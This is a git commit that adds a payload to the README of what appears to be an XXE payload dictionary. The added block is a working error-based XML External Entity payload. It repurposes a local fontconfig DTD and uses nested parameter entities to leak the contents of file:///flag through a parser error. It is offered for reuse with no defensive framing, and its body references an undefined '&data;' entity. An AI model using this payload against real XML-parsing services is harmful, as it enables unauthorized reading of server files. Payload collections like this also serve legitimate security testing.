Update README.MD

zc666yes · Sep 8, 2019 · b28329f · b28329f
1 parent f8cba96
commit b28329f
Showing 1 changed file with 18 additions and 0 deletions.
diff --git a/XXEDicts/README.MD b/XXEDicts/README.MD
@@ -6,6 +6,24 @@
 
 基础Payload：
 
+```
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE resetPassword [
+<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
+<!ENTITY % expr 'aaa)>
+<!ENTITY &#x25; file SYSTEM "file:///flag">
+<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
+&#x25;eval;
+&#x25;error;
+<!ELEMENT aa (bb'>
+    %local_dtd;
+]>
+<request>
+    <status>&data;</status>
+</request>
+```
+
+
 ```
 <!--?xml version="1.0" ?-->
 <!DOCTYPE replace [<!ENTITY example "Doe"> ]>